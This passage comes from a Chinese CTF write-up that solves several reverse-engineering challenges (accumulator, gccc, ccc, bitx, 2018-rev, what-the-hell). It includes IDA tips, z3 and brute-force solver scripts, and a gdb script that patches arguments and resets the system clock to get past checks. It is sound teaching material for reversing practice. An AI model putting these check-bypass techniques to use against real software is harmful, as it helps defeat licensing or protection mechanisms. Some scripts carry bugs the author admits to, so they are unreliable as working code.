#   Y = lambda f: (lambda x: x(x))(lambda y: f(lambda *args: y(y)(*args)))
#   fac = lambda f: lambda n: (1 if n<2 else n*f(n-1))
#  >>> [ Y(fac)(i) for i in range(10) ]
#  [1, 1, 2, 6, 24, 120, 720, 5040, 40320, 362880]
#  >>> fib = lambda f: lambda n: 0 if n == 0 else (1 if n == 1 else f(n-1) + f(n-2))
#  >>> [ Y(fib)(i) for i in range(10) ]
#  [0, 1, 1, 2, 3, 5, 8, 13, 21, 34]
#  okay decompiling pyyy.pyc

运行即可

0x04 accumulator

这个题目中check函数的F5代码有点混乱，单看伪代码很难分析，但通过调试可以快速确定check函数的整体流程是对输入的每一位求和，然后与0x601080这个数组进行比较，在这个过程中更新0x6013C0和0x6013B0两个全局变量用于寻址，程序的整体流程是先check(sha512(input))，然后check(input)，因为sha512是哈希函数，因此放弃了逆向求解。仔细分析，在check(input)时，使用的也是对input每一位求和，然后与数组比较的方法，而与第一次check(sha512(input))相比仅仅是两个用于寻址的全局变量不同，这样我们只要对数组逐位做差即可

#!/usr/bin/env python
# -*- coding: utf-8 -*-
__Auther__ = 'M4x'

data = [195, 255, 493, 584, 799, 929, 946, 1086, 1180, 1184, 1421, 1595, 1805, 1846, 2081, 2320, 2430, 2605, 2727, 2972, 3213, 3403, 3418, 3649, 3712, 3950, 3989, 4193, 4228, 4394, 4523, 4624, 4706, 4935, 4999, 5072, 5106, 5291, 5510, 5536, 5644, 5751, 5993, 6118, 6126, 6198, 6211, 6410, 6469, 6609, 6647, 6752, 6978, 7010, 7053, 7106, 7274, 7468, 7563, 7673, 7706, 7956, 8146, 8187, 8257, 8333, 8398, 8469, 8592, 8640, 8693, 8742, 8793, 8844, 8901, 8953, 9007, 9062, 9113, 9161, 9215, 9317, 9374, 9429, 9483, 9540, 9591, 9644, 9692, 9741, 9792, 9846, 9944, 9996, 10045, 10144, 10195, 10246, 10294, 10350, 10402, 10450, 10551, 10652, 10750, 10849, 10946, 11045, 11096, 11147, 11202, 11304, 11353, 11451, 11507, 11605, 11653, 11753, 11852, 11900, 11951, 12052, 12105, 12161, 12259, 12360, 12409, 12461, 12563, 12664, 12718, 12775, 12823, 12921, 12970, 13020, 13071, 13173, 13227, 13276, 13374, 13422, 13521, 13569, 13667, 13718, 13771, 13873, 13972, 14029, 14080, 14179, 14278, 14377, 14432, 14482, 14531, 14579, 14627, 14679, 14732, 14789, 14840, 14894, 14951, 15052, 15154, 15210, 15263, 15314, 15363, 15460, 15509, 15610, 15666, 15763, 15818, 15916, 15968, 16018, 16075, 16132, 16233, 16288, 16386, 16443, 16543, 16600, 16655, 16703, 16801, 16858, 16955, 17005, 17056, 17153, 17250, 17375]

flag = ""
for i in xrange(1, len(data)):
    flag += chr(data[i] - data[i - 1])

print flag

再介绍一个IDA使用的trick，在提取数组时，先在数组的第一位上点d，使数组的类型转换成dd，然后再点a，使IDA把这一段连续的数据转成数组，然后可以使用alt+L快速选中数组范围（alt+L，鼠标滚轮，afl+L），然后通过shift+E就可以快速导出我们想要选择的数据了

0x05 gccc

该题的逻辑很简单,只有一个输入,下载文件后发现gccc.exe为.Net(C#)架构,因此用C#的反编译工具(这里用了)反编译得到题目代码如下:

// GrayCCC
public static void Main()
{
	Console.Write("Input the key: ");
	uint num;
	if (!uint.TryParse(Console.ReadLine().Trim(), out num))
	{
		Console.WriteLine("Invalid key");
		return;
	}
	string text = "";
	string text2 = "ABCDEFGHIJKLMNOPQRSTUVWXYZ{} ";
	int num2 = 0;
	byte[] array = new byte[]
	{
		164, 25, 4, 130, 126, 158, 91, 199, 173, 252, 239, 143, 150, 251, 126, 
		39, 104, 104, 146, 208, 249, 9, 219, 208, 101, 182, 62, 92, 6, 27, 5, 46
	};
	byte b = 0;
	while (num != 0u)
	{
		char c = (char)(array[num2] ^ (byte)num ^ b);
		if (!text2.Contains(new string(c, 1)))
		{
			Console.WriteLine("Invalid key");
			return;
		}
		text += c;
		b ^= array[num2++];
		num >>= 1;
	}
	if (text.Substring(0, 5) != "FLAG{" || text.Substring(31, 1) != "}")
	{
		Console.WriteLine("Invalid key");
		return;
	}
	Console.WriteLine("Your flag is: " + text);
}

可以看到,逻辑很简单,对输入进行了32轮验证,通过每一层验证即可得到flag.

但逻辑简单并不意味着容易解决,仔细分析代码可以看出解题的关键在求出num的值,num经过32次右移一位后等于0,因此取值范围为**[2 ^ 31, 2 ^ 32)**, 在该范围内找到满足32轮验证的值即可,但在找到该值时遇到了问题,如果单纯爆破的话,2 ^ 32 - 2 ^ 31次爆破远远超出了能接受的范围,因此考虑用z3来解决这个多约束问题.

该题的约束条件有如下几个:

0~5位为"FLAG{”
最后一位(31)为”}”
6~30位需在"ABCDEFGHIJKLMNOPQRSTUVWXYZ{} “内

因此可以写出z3的代码如下:

def getNum():
	b = 0
	num2 = 0
	# 2 ** 30 <= num < 2 ** 31
	s = Solver()
	num = BitVec('num', 64)
	s.add(num >= 2 ** 31)
	s.add(num < 2 ** 32)
	# s.add(num > 1510650850)

	for i in xrange(32):
		if i < 5:
			s.add(((array[num2] ^ (num & 0x7f) ^ b) & 0x7f) == ord('FLAG{'[i]))
		elif 5 <= i < 31:
			s.add(
					Or(	
						And(
							((array[num2] ^ (num & 0x7f) ^ b) & 0x7f) >= 65, 
							((array[num2] ^ (num & 0x7f) ^ b) & 0x7f) <= 90, 
						),
						
						# ((array[num2] ^ (num & 0x7f) ^ b) & 0x7f) == ord('{'),
						# ((array[num2] ^ (num & 0x7f) ^ b) & 0x7f) == ord('}'),
						((array[num2] ^ (num & 0x7f) ^ b) & 0x7f) == ord(' ')

					)
				)
                elif i == 31:
                        s.add(((array[num2] ^ (num & 0x7f) ^ b) & 0x7f) == ord('}'))
		b ^= array[num2]
		b &= 0x7f
		num2 += 1
		num >>= 1

	if s.check() == sat:
		print s.model()
                #bug
		#  print s.model()[num].as_long()
	# while s.check() == sat:
		# print s.model()[num]
		# s.add(Or(num != s.model()[num].as_long()))

运行,num的值就秒出了

注释掉的部分是一个还没解决的bug,本来是想通过添加约束跑出所有的可行解,但可能是因为用了BitVec导致在数据类型的转换上有些问题,现在只跑出了一组解.等到考完试再来修这个bug

有了num的值,接下类有很简单了,可用python求解

#!/usr/bin/env python
# -*- coding: utf-8 -*-
__Auther__ = "M4x"

import pdb
from z3 import *
array = [164,25, 4, 130, 126, 158, 91, 199, 173, 252, 239, 143, 150, 
251, 126, 39, 104, 104, 146, 208, 249, 9, 219, 208, 101, 
182, 62, 92, 6, 27, 5, 46]
# print len(array)

def getNum():
	b = 0
	num2 = 0
	# 2 ** 30 <= num < 2 ** 31
	s = Solver()
	num = BitVec('num', 64)
	s.add(num >= 2 ** 31)
	s.add(num < 2 ** 32)
	# s.add(num > 1510650850)

	for i in xrange(32):
		if i < 5:
			s.add(((array[num2] ^ (num & 0x7f) ^ b) & 0x7f) == ord('FLAG{'[i]))
		elif 5 <= i < 31:
			s.add(
					Or(	
						And(
							((array[num2] ^ (num & 0x7f) ^ b) & 0x7f) >= 65, 
							((array[num2] ^ (num & 0x7f) ^ b) & 0x7f) <= 90, 
						),
						
						# ((array[num2] ^ (num & 0x7f) ^ b) & 0x7f) == ord('{'),
						# ((array[num2] ^ (num & 0x7f) ^ b) & 0x7f) == ord('}'),
						((array[num2] ^ (num & 0x7f) ^ b) & 0x7f) == ord(' ')

					)
				)
                elif i == 31:
                        s.add(((array[num2] ^ (num & 0x7f) ^ b) & 0x7f) == ord('}'))
		b ^= array[num2]
		b &= 0x7f
		num2 += 1
		num >>= 1

	if s.check() == sat:
		print s.model()
                #bug
		#  print s.model()[num].as_long()
	# while s.check() == sat:
		# print s.model()[num]
		# s.add(Or(num != s.model()[num].as_long()))

def getFlag():
	text2 = "ABCDEFGHIJKLMNOPQRSTUVWXYZ{} "
	num = 3658134498
	num2 = 0
	b = 0 
	flag = ""

	while num:
		c = chr((array[num2] ^ (num & 0x7f) ^ b) & 0x7f)
		if c not in text2:
			print ord(c)
		flag += c
		b ^= array[num2]
		num2 += 1
		num >>= 1
		print flag

#  getNum()
getFlag()

也可简单的修改反编译得到的c#代码,运行C#得到flag(推荐该方法)

// GrayCCC
using System;
namespace GrayCCC
{
	class GCCC
	{
		public static void Main()
		{
			// Console.Write("Input the key: ");
			// uint num;
			// if (!uint.TryParse(Console.ReadLine().Trim(), out num))
			// {
			// 	Console.WriteLine("Invalid key");
			// 	return;
			// }
			string text = "";
			string text2 = "ABCDEFGHIJKLMNOPQRSTUVWXYZ{} ";
			int num2 = 0;
			uint num = 3658134498;
			byte[] array = new byte[]
			{
				164,25, 4, 130, 126, 158, 91, 199, 173, 252, 239, 143, 150, 
				251, 126, 39, 104, 104, 146, 208, 249, 9, 219, 208, 101, 
				182, 62, 92, 6, 27, 5, 46
			};
			
			byte b = 0;
			while (num != 0u)
			{
				char c = (char)(array[num2] ^ (byte)num ^ b);
				if (!text2.Contains(new string(c, 1)))
				{
					Console.WriteLine("Invalid key");
					return;
				}
				text += c;
				b ^= array[num2++];
				num >>= 1;
				Console.WriteLine(text);
			}
			if (text.Substring(0, 5) != "FLAG{" || text.Substring(31, 1) != "}")
			{
				Console.WriteLine("Invalid key");
				return;
			}
			Console.WriteLine("Your flag is: " + text);
		}
	}
}

可以看出,通过z3求解此类多约束问题能极大地提高效率.

另外听Kira师傅说这道题也可以逐位爆破,也等到考完试再来填坑吧.

0x06 ccc

IDA F5后程序的流程很清楚，唯一一处有困惑的是不知道下图中的crc32函数是按照什么规则加密的并且返回值是什么

根据for循环中的i = 3， i += 3等信息可以推测v3是每3位计算一次，但究竟是a2[0: 3], a2[3: 6]这种方式还是a2[0: 3], a2[0: 6]这种方式还不得而知，静态分析crc32函数有很麻烦。这时，就可以用gdb动态调试来验证加密的方式。

首先在伪代码页右键，Copy to Assembly，方便我们在汇编页快速定位，如下定位到关键地址0x8048558

直接在gdb中下断点，r运行到断点，输入42位字符，此时程序运行到了断点处

n，执行下一步，此时crc32的返回值即保存在了eax寄存器中（函数调用约定）

可以发现，第一次调用crc32函数时，函数对输入的前3位做了计算，接下来调用的计算方式可以类比动态调试得到，最终发现crc32是按照a[0: 3], a[0: 6], a[0: 9]这样的方式进行计算的，每次循环计算的结果再与hashes中的只比较即可

再补充一个trick，这个操作是跟w1tcher表哥学到的

我们知道crc32计算的结果是8位16进制数，而IDA默认以两位16进制数显示数据，这是我们可以在第一个数据上右键，data，使前四个转成8位16进制数形式（或者快捷键D），然后再右键，array，点击OK，即可默认把下边的数据按第一组的形式展现出来

每次爆破3位即可，脚本如下：

#!/usr/bin/env python
# -*- coding: utf-8 -*-
__Auther__ = 'M4x'
import binascii
import string
import pdb

hashes = [0x0D641596F, 0x80A3E990, 0x0C98D5C9B, 0x0D05AFAF, 0x1372A12D, 0x5D5F117B, 0x4001FBFD, 0x0A7D2D56B, 0x7D04FB7E, 0x2E42895E, 0x61C97EB3, 0x84AB43C3, 0x9FC129DD, 0x0F4592F4D]

def crc(s, cnt):
    for a in dic:
        for b in dic:
            for c in dic:
                ans = s + a + b + c
                #  print tmp
                if (binascii.crc32(ans) & 0xffffffff) == hashes[cnt]:
                    #  pdb.set_trace()
                    return ans

#  dic = string.ascii_letters + string.digits + " _-{},"
dic = string.printable
#  ans = 'FLAG{'
ans = ''
cnt = 0
while True:
    try:
        ans = crc(ans, cnt)
        cnt += 1
        print ans
    except:
        break

0x07 bitx

IDA中可以看到，输入是与0x804A040地址上的一组数据进行比较的（IDA伪代码页，右键，Hide casts可以隐藏数据类型，看起来美观不少），程序逻辑很简单，直接放脚本

提取数据可以直接粘贴复制，也可以直接用idc或者ida python等脚本，如下的idc脚本即可dump出内存中的数据

解题脚本如下

#!/usr/bin/env python
# -*- coding: utf-8 -*-
__Auther__ = 'M4x'

data = [0x8f, 0xaa, 0x85, 0xa0, 0x48, 0xac, 0x40, 0x95, 0xb6, 0x16, 0xbe, 0x40, 0xb4, 0x16, 0x97, 0xb1, 0xbe, 0xbc, 0x16, 0xb1, 0xbc, 0x16, 0x9d, 0x95, 0xbc, 0x41, 0x16, 0x36, 0x42, 0x95, 0x95, 0x16, 0x40, 0xb1, 0xbe, 0xb2, 0x16, 0x36, 0x42, 0x3d, 0x3d, 0x49, 0x00]

ans = ""
for i in xrange(42):
    ans += chr((((data[i] & 0xAA) >> 1) | (2 * (data[i] & 0x55))) - 9)

print ans

0x08 2018-rev

这个我也不知道用的是不是预期解。

直接运行文件，提示

argc == 2018 && argv[0][0] == 1 && envp[0][0] == 1

经过调试写了一个gdb脚本绕过第一层验证

b *0x4005F0
r

#set args
set $rdi=2018
#dumpargs --force
set *((long *)0x7fffffffe332)=0x0101010101010101
set *((long *)0x7fffffffe34d)=0x0101010101010101
c

# zdump /etc/localtime
# 因为ASLR请自行修改对应地址

第二层验证提示

Bad timing, you should open this at 2018/1/1 00:00:00 (UTC) :(

刚开始的想法也是和第一层验证一样设置运行过程中各个参数的值，但后来发现这些很难找，卡了一段时间后如梦初醒，程序的运行时间是从**/etc/localtime**获取的(代码中可以看出)，只要保证程序运行的瞬间**zdump /etc/localtime**的值为**2018/1/1 00:00:00 (UTC)**即可，关于如何设置时间，刚开始的想法是在gdb调试过程中set，尝试了很久，最后还是写了一个shellscript

#!/usr/bin/env bash

while true
do
	sudo date -us "2018-01-01 00:00:00"
done

这样一直运行setTime.sh，然后gdb导入gdb脚本，即可获得flag

这个题好像是文件放错了，最后的flag不完全正确，但很容易能猜出正确的flag

0x09 what-the-hell

这个题有点意思,看题目的提示好像是要优化算法,但我用了非预期解.我把思路和写残了的代码放出来,供大家参考.

用IDA打开,calc_key3的逻辑很清晰,就是运算比较麻烦根据题意应该就是要优化这里了.但看到这里的条件时我忽然想到了前一阵看到的z3,试了一下,很快就跑出来了,计算a1,a2的z3代码如下:

def getInput():
    a2 = BitVec('a2', 32)
    a1 = BitVec('a1', 32)
    #  print type(a2)
    #  print type(a1)
    
    s = Solver()
    s.add(a2 * a1 == 0xDDC34132)
    s.add(((a1 - a2) & 0xFFF) == 0xCDF)
    s.add((a1 ^ 0x7E) * (a2 + 16) == 0x732092BE)
    
    while s.check() == sat:
        if isPrime(s.model()[a1].as_long()):
            print s.model()
        s.add(Or(a1 != s.model()[a1], a2 != s.model()[a2]))
    else:
        print "unset"

跑出了符合题意的两组解:

可以看出,what函数实际上是一个求斐波那契数列的函数

但这里有一个坑点,result是int型的,要考虑溢出,经过测试,当a1=4284256177时,函数有解,返回值1095061718431,这样我们就得到了decrypt_flag的三个参数,就可以写脚本跑出flag了,脚本如下:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
__Auther__ = 'M4x'

from z3 import *
from libnum import prime_test as isPrime
from libnum import n2s

def getInput():
    a2 = BitVec('a2', 32)
    a1 = BitVec('a1', 32)
    #  print type(a2)
    #  print type(a1)
    
    s = Solver()
    s.add(a2 * a1 == 0xDDC34132)
    s.add(((a1 - a2) & 0xFFF) == 0xCDF)
    s.add((a1 ^ 0x7E) * (a2 + 16) == 0x732092BE)
    
    while s.check() == sat:
        if isPrime(s.model()[a1].as_long()):
            print s.model()
        s.add(Or(a1 != s.model()[a1], a2 != s.model()[a2]))
    else:
        print "unset"

def getKey3():
    fib = [0, 1]
    for i in xrange(2, 9999999):
        #  print i - 1, (fib[i - 1] & 0xffffffff)
        fib.append(fib[i - 1] + fib[i - 2])
        if (fib[i] & 0xffffffff) == 4284256177:
            return i * 1234567890 + 1
def getFlag():
    junk_data = [
  0x09, 0x23, 0x8C, 0xB9, 0x2F, 0x19, 0x8D, 0xF8, 0xF3, 0x79,   0x81, 0x87, 0x93, 0x99, 0x35, 0x52, 0x9C, 0xF0, 0x34, 0x99,   0x23, 0xB1, 0x84, 0x1D, 0xF0, 0x8F, 0x7E, 0x45, 0x0F, 0xCB,   0x40, 0xF8, 0x4E, 0xD1, 0x42, 0x29, 0x76, 0x17, 0x43, 0xE1,   0xAC, 0x04, 0x37, 0xA0, 0xE4, 0x30, 0x59, 0xA9, 0x68, 0xD9,   0x1C, 0x96, 0xFC, 0x1D, 0x85, 0xEA, 0xD2, 0x94, 0x07, 0x90,   0x09, 0xD2, 0xC9, 0x19, 0x86, 0xC9, 0xDC, 0x24, 0x6F, 0x3B,   0x5C, 0x92, 0x4C, 0x9F, 0xD9, 0x50, 0xDD, 0x98, 0x37, 0x1C,   0xB1, 0xDA, 0xA5, 0x44, 0xF2, 0x8E, 0x43, 0x66, 0x91, 0xA3,   0xDF, 0xAF, 0x3A, 0x7E, 0x65, 0x91, 0x19, 0x22, 0xFD, 0xFE,   0x14, 0xBA, 0x0A, 0xE1, 0xB9, 0x61, 0x73, 0x86, 0xE1, 0x96,   0xC1, 0x67, 0xCE, 0x06, 0x25, 0x74, 0xF0, 0x2E, 0xA3, 0xBB,   0xED, 0x68, 0x3E, 0x53, 0x30, 0x43, 0x0E, 0x53, 0xB8, 0x8A,   0x9C, 0x95, 0x41, 0xC3, 0xB0, 0x25, 0x1C, 0xCB, 0x38, 0x86,   0xA6, 0x7A, 0x6F, 0xF2, 0x63, 0x0A, 0x19, 0x7C, 0x07, 0xDA,   0x6F, 0xA2, 0x4E, 0xD2, 0x74, 0x4A, 0xF9, 0xAF, 0xC2, 0x9C,   0xFD, 0x89, 0xE6, 0x04, 0x11, 0xF6, 0x6F, 0xF5, 0x98, 0x55,   0x9D, 0x37, 0x12, 0xF2, 0xA6, 0x66, 0xBE, 0x85, 0x87, 0x8E,   0x87, 0x64, 0x5E, 0xA0, 0x61, 0x52, 0xD8, 0xBB, 0x39, 0x3D,   0x7B, 0xD2, 0x47, 0x27, 0x37, 0x30, 0xB5, 0xF8, 0x90, 0xFC,   0x50, 0xF3, 0xC1, 0x5C, 0x6B, 0xA4, 0xBE, 0x8D, 0xA5, 0xEA,   0xDD, 0x72, 0xF2, 0x28, 0xE1, 0x74, 0xEF, 0x07, 0x10, 0xCF,   0x39, 0x7D, 0x58, 0xE7, 0x46, 0x09, 0x04, 0xE9, 0xE9, 0x37,   0xD7, 0xE1, 0x20, 0xF9, 0xC2, 0x54, 0x28, 0xE7, 0x30, 0xE8,   0x86, 0x58, 0x77, 0x6C, 0x7D, 0x2E, 0x00, 0xCE, 0xCC, 0x9C,   0xFB, 0xA3, 0x8D, 0xD1, 0x04, 0x98, 0x9D, 0x4F, 0xE8, 0x1F,   0x60, 0x3A, 0x8A, 0x5B, 0x1A, 0x11, 0x55, 0xF0, 0x6B, 0xCF,   0xD8, 0x6D, 0x75, 0x30, 0x9A, 0xD8, 0xD8, 0x5D, 0x2E, 0x90,   0x7E, 0x43, 0x5C, 0xEB, 0x3F, 0x26, 0x78, 0xAF, 0xB3, 0xB0,   0xC3, 0x1C, 0xE9, 0xAB, 0x94, 0xE6, 0xC1, 0x49, 0x25, 0x4B,   0xAA, 0xFF, 0x59, 0xE1, 0x11, 0x48, 0x3C, 0xB9, 0x16, 0x67,   0x27, 0xF9, 0xA0, 0x29, 0x68, 0x2E, 0xFB, 0x45, 0x5D, 0x29,   0x12, 0x0A, 0x36, 0x04, 0x54, 0xB3, 0xCF, 0x87, 0x24, 0x37,   0x8E, 0x7C, 0x5A, 0xEF, 0xF8, 0x33, 0xE2, 0xE0, 0x89, 0x83,   0xA8, 0x4D, 0x72, 0x28, 0x80, 0xAA, 0xD4, 0x0E, 0xDD, 0x72,   0xA5, 0x0B, 0xAD, 0x85, 0x6F, 0xEE, 0x44, 0xAD, 0x43, 0x7D,   0x30, 0xC2, 0x15, 0xC9, 0x72, 0x12, 0x53, 0x8A, 0x37, 0x9D,   0xF2, 0x64, 0x1D, 0x21, 0x5E, 0x49, 0x78, 0x54, 0xC0, 0xF0,   0xA9, 0x81, 0xE3, 0x32, 0xD4, 0x99, 0x81, 0x88, 0x64, 0xFE,   0x20, 0x92, 0x89, 0xD0, 0xC9, 0x5A, 0xCE, 0xFA, 0xB5, 0xE4,   0x2A, 0x9D, 0x50, 0xAB, 0x32, 0x35, 0x8D, 0x31, 0x4C, 0x94,   0x6C, 0xC0, 0xEF, 0xF4, 0xE2, 0x40, 0xF7, 0x47, 0x51, 0xDB,   0x1C, 0x6D, 0x3B, 0x6B, 0xEA, 0xDA, 0x16, 0x9A, 0x27, 0x68,   0xA3, 0x73, 0xBF, 0x9D, 0x40, 0x8F, 0x07, 0xF3, 0xC7, 0x65,   0x57, 0xB7, 0x7E, 0x0C, 0xEA, 0xC9, 0x9F, 0x7F, 0x46, 0x82,   0xE6, 0x5C, 0xE6, 0xDF, 0xFE, 0x42, 0x41, 0x12, 0x62, 0x33,   0x74, 0xFF, 0xE9, 0x52, 0xD1, 0x0F, 0x75, 0x88, 0x43, 0x17,   0x02, 0x5A, 0x9E, 0x29, 0xAD, 0x40, 0x62, 0xDB, 0x1F, 0x2C,   0xE7, 0xA8, 0x6E, 0xAC, 0x62, 0xC4, 0xBE, 0xEC, 0x98, 0xB3,   0xE9, 0x44, 0xD4, 0x3E, 0xC3, 0x9E, 0x0F, 0xBC, 0xAD, 0xC6,   0x28, 0x28, 0x95, 0x93, 0xD1, 0xD5, 0x03, 0xAA, 0x78, 0xE3,   0x0D, 0x20, 0x90, 0x58, 0x82, 0xCC, 0x5F, 0x46, 0xF9, 0x2C,   0x17, 0x55, 0xDB, 0x96, 0x0A, 0x34, 0x69, 0x6B, 0x87, 0x2B,   0xB2, 0x45, 0x9D, 0x7C, 0xEA, 0xF3, 0xAB, 0x19, 0x6A, 0xE3,   0x73, 0x9D, 0x84, 0x6C, 0x3A, 0x04, 0xB5, 0x07, 0x3D, 0x10,   0x3E, 0x67, 0x5E, 0x53, 0x86, 0xDB, 0xA0, 0x39, 0xAB, 0xE0,   0x06, 0x22, 0x27, 0x8C, 0x81, 0xD3, 0xC6, 0x1F, 0x15, 0x35,   0x8D, 0x26, 0x8D, 0x67, 0x03, 0xBD, 0xC3, 0x76, 0xF7, 0x27,   0x29, 0x82, 0xAF, 0x64, 0x9D, 0x15, 0x0F, 0xBE, 0xAD, 0xAB,   0x39, 0x50, 0xD7, 0xB9, 0x1B, 0x0A, 0x3F, 0x99, 0xCC, 0x6A,   0xF5, 0xFF, 0x5B, 0xDE, 0x9F, 0xD1, 0x4D, 0xFC, 0xF4, 0x21,   0x83, 0xD0, 0x33, 0xAB, 0xA4, 0x3E, 0x3B, 0x3A, 0x67, 0x41,   0xDE, 0x93, 0xB1, 0x2A, 0xC4, 0x98, 0xDA, 0xEA, 0x51, 0xFD,   0xCF, 0xEB, 0xF0, 0xC7, 0x1F, 0xF6, 0x4C, 0xFC, 0x04, 0xEF,   0x24, 0x51, 0xBF, 0x0D, 0xB0, 0x50, 0x2C, 0x06, 0xAA, 0x0E,   0x2F, 0x74, 0xB0, 0xD5, 0x27, 0xE7, 0xD3, 0xC4, 0xA7, 0x57,   0x0D, 0x31, 0xCE, 0xD2, 0x5F, 0x6F, 0x99, 0x43, 0xDB, 0x93,   0x59, 0x24, 0xC0, 0xA8, 0x29, 0x3F, 0xDA, 0x70, 0xBD, 0x92,   0x8A, 0xC5, 0x76, 0xF9, 0x31, 0x8B, 0x98, 0xD6, 0x0A, 0x7C,   0xA0, 0x8D, 0x9B, 0x96, 0x4A, 0x77, 0x5B, 0xC2, 0xE5, 0x46,   0x72, 0x28, 0x4F, 0x54, 0x44, 0x06, 0xB4, 0xE5, 0xB2, 0x6C,   0xEF, 0x4E, 0x1E, 0x7E, 0xAE, 0x0A, 0xC0, 0x7D, 0x1E, 0x6E,   0x80, 0x3A, 0xDF, 0x88, 0x07, 0x4B, 0xF8, 0xCE, 0x3A, 0x40,   0x60, 0x6F, 0xDA, 0x9F, 0xE4, 0xD9, 0x58, 0xA3, 0x19, 0xEC,   0x5A, 0xD8, 0x85, 0x52, 0x1E, 0xA8, 0xCA, 0x04, 0xDC, 0x5D,   0xD2, 0x77, 0x45, 0x35, 0xB0, 0x5A, 0xD1, 0xCD, 0xDC, 0x30,   0xA6, 0x14, 0xA6, 0xA1, 0xBF, 0x24, 0xE1, 0xDE, 0xE6, 0xEF,   0xA9, 0x0E, 0x00, 0x64, 0x5D, 0xEF, 0x11, 0x4A, 0xF3, 0x38,   0x52, 0x86, 0x81, 0x6F, 0x42, 0xFB, 0x8B, 0x4B, 0x36, 0xFB,   0x79, 0x9D, 0x82, 0xBC, 0x0D, 0x01, 0x14, 0x42, 0x86, 0xD7,   0x65, 0xB4, 0x51, 0xBF, 0xEC, 0x64, 0xE4, 0x61, 0x21, 0x63,   0x99, 0xD3, 0xC5, 0xFE, 0x58, 0x0A, 0xF5, 0xA1, 0xD5, 0xB0,   0xD9, 0xB4, 0x8A, 0x02, 0xC7, 0x50, 0xDE, 0xDE, 0xF2, 0xBE,   0x13, 0xF8, 0x3F, 0x23, 0x51, 0x4C, 0x19, 0x40, 0x74, 0xA6,   0x35, 0xBA, 0x4B, 0x71, 0x1B, 0xAE, 0xFE, 0x43, 0x8F, 0xA4,   0x25, 0xA5, 0xE5, 0x31, 0xB3, 0x17, 0x00, 0x83, 0x34, 0x4A,   0xBA, 0x05, 0xCF, 0xBB, 0xB8, 0x67, 0x25, 0xE0, 0xD3, 0x53,   0xFC, 0xAA, 0xBA, 0xB3, 0x6C, 0x8A, 0xEC, 0x8F, 0x9C, 0xDB,   0x47, 0x05, 0x8E, 0x5A, 0x3E, 0xD4, 0x7B, 0x5F, 0xC5, 0x42,   0xD1, 0x6C, 0x2C, 0x99, 0xBA, 0xFD, 0x9D, 0x6B, 0x52, 0xD2,   0x34, 0x86, 0x6A, 0x5D, 0x5E, 0x50, 0xB3, 0x58, 0xD4, 0x3A,   0xB7, 0x12, 0x46, 0x0E, 0x40, 0x81, 0xA5, 0x21, 0x5D, 0x5E,   0x63, 0xE5, 0x3B, 0x30, 0x3B, 0x6E, 0x13, 0x73, 0x36, 0x20,   0x3C, 0xE3, 0xA9, 0x99, 0x70, 0x49, 0x92, 0xFC, 0xFA, 0x70,   0x24, 0x6F, 0x7B, 0x1D, 0x93, 0x8D, 0x7D, 0xB4, 0xAE, 0x2A,   0x7D, 0x53, 0x5C, 0x68, 0xEA, 0xFA, 0x94, 0x58, 0x54, 0x28,   0xCF, 0x23, 0xFB, 0x70, 0x80, 0x7F, 0xF0, 0x4F, 0x2A, 0x0B,   0x94, 0xD7, 0x3E, 0x7F, 0x78, 0x45, 0xFC, 0xE3, 0xA9, 0x3E,   0x1E, 0x23, 0xA3, 0x7E, 0x06, 0x00, 0x1D, 0x66, 0x50, 0x9D,   0xD1, 0x1F, 0x65, 0x7E, 0x76, 0x8F, 0x47, 0x73, 0xF0, 0xAA,   0x3A, 0xC5, 0xB8, 0xB0, 0x65, 0xDD, 0x34, 0x48, 0x80, 0x30,   0x46, 0xE0, 0x0A, 0xDD, 0x1B, 0xC6, 0xD6, 0x88, 0xFB, 0x76,   0x0A, 0xA5, 0xE9, 0xB5, 0xC8, 0xBC, 0x0B, 0x82, 0x1C, 0x33,   0xA3, 0x4D, 0xD3, 0xCE, 0x2F, 0x2A, 0x8E, 0xFA, 0xAA, 0xB2,   0x5D, 0x57, 0x89, 0x03, 0x56, 0x5F, 0xF2, 0x05, 0xF7, 0x24,   0xE6, 0xB6, 0x13, 0x84, 0xBC, 0x5D, 0xA5, 0x8F, 0x0D, 0xAC,   0xC1, 0xA7, 0xDB, 0x2A, 0xDF, 0xB9, 0xDA, 0x91, 0xFB, 0xF1,   0xD7, 0x83, 0x36, 0xCC, 0x3D, 0xBE, 0x14, 0xEF, 0x51, 0x57,   0xE1, 0xBF, 0x6A, 0x3F, 0x5F, 0xEA, 0xA8, 0x08, 0xB6, 0x83,   0x84, 0xA2, 0x8B, 0x2F, 0x13, 0x2B, 0x59, 0x9D, 0x86, 0x29,   0x22, 0x53, 0x17, 0xEE, 0x15, 0x84, 0x3B, 0x1E, 0x2D, 0x10,   0xF0, 0x8B, 0xC3, 0xAD, 0x4B, 0x45, 0x50, 0x06, 0x12, 0xAA,   0x94, 0x60, 0x07, 0x09, 0x6B, 0x2A, 0xDA, 0xBF, 0x86, 0x90,   0x9A, 0xFB, 0xAF, 0xEC, 0xBE, 0x05, 0x4A, 0x1E, 0xFC, 0x6E,   0xFE, 0x81, 0xC0, 0x1B, 0xB2, 0x39, 0x2F, 0x5C, 0x05, 0x40,   0xAB, 0x0B, 0x4E, 0xE3, 0x69, 0x15, 0x9A, 0x3F, 0x70, 0x94,   0x10, 0xE7, 0x91, 0xEF, 0x1E, 0x69, 0xE3, 0x6D, 0xF6, 0x43,   0xE5, 0xEB, 0xE4, 0x1E, 0xFE, 0xAC, 0xAF, 0x64, 0xCD, 0xF0,   0x59, 0x07, 0x0B, 0x5A, 0xC8, 0xED, 0x19, 0x84, 0xD0, 0x4D,   0xF8, 0xCC, 0x85, 0x54, 0x75, 0xFC, 0xE8, 0x6E, 0x3F, 0x5E,   0xF8, 0xB6, 0x39, 0xDC, 0x7F, 0x24, 0x7D, 0x7E, 0x83, 0x3F,   0xF4, 0xB9, 0x8A, 0xE8, 0xC8, 0xDC, 0x7A, 0xFB, 0x2E, 0x63,   0xB2, 0x5C, 0x11, 0xF6, 0x8B, 0xFB, 0x83, 0x20, 0xBA, 0x00,   0x9A, 0x04, 0xFB, 0xD5, 0xDD, 0x51, 0x8D, 0x90, 0x59, 0x0C,   0xF9, 0xA5, 0xEF, 0x24, 0x98, 0x09, 0x26, 0x97, 0x32, 0x97,   0xBC, 0xAA, 0x3D, 0x82, 0x9E, 0xB0, 0x2D, 0xA8, 0x23, 0x76,   0xCE, 0x5C, 0x59, 0x2A, 0x9F, 0x12, 0xAA, 0x60, 0x8D, 0x8F,   0x1F, 0xD1, 0xE1, 0x67, 0xC8, 0x2A, 0x19, 0x67, 0x66, 0x5B,   0x81, 0xAE, 0x98, 0xD3, 